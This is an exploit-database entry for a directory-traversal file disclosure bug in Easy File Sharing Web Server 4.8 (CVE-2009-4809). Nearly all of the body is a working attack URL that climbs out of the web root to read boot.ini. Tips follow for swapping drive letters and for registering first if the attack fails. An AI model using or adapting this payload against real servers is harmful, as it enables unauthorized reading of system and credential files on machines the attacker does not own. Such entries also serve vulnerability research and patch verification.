Easy File Sharing Web Server 4.8 - File Disclosure

Author: Stack
type: remote
platform: windows
port: 
date_added: 2009-03-03 
date_updated:  
verified: 1 
codes: OSVDB-52345;CVE-2009-4809 
tags: 
aliases:  
screenshot_url:  
application_url: 

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Easy File Sharing Web Server File Disclouse Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Program:  Easy File Sharing Web Server
Version:  4.8
Download: http://www.sharing-file.com/efssetup.exe
Found by Mountassif Moad
www.v4-team.com

-- Bug --
Exploit :

http://127.0.0.1/disk_c/thumbnail.ghp?vfolder=../../.././/./../../boot.ini
if you have a hard disk like d or f you change disk_c by disk_d or disk_f some host dont have this
and if dont work in first test try to register and test another time
Tested on win xp SP 2 fr

# milw0rm.com [2009-03-04]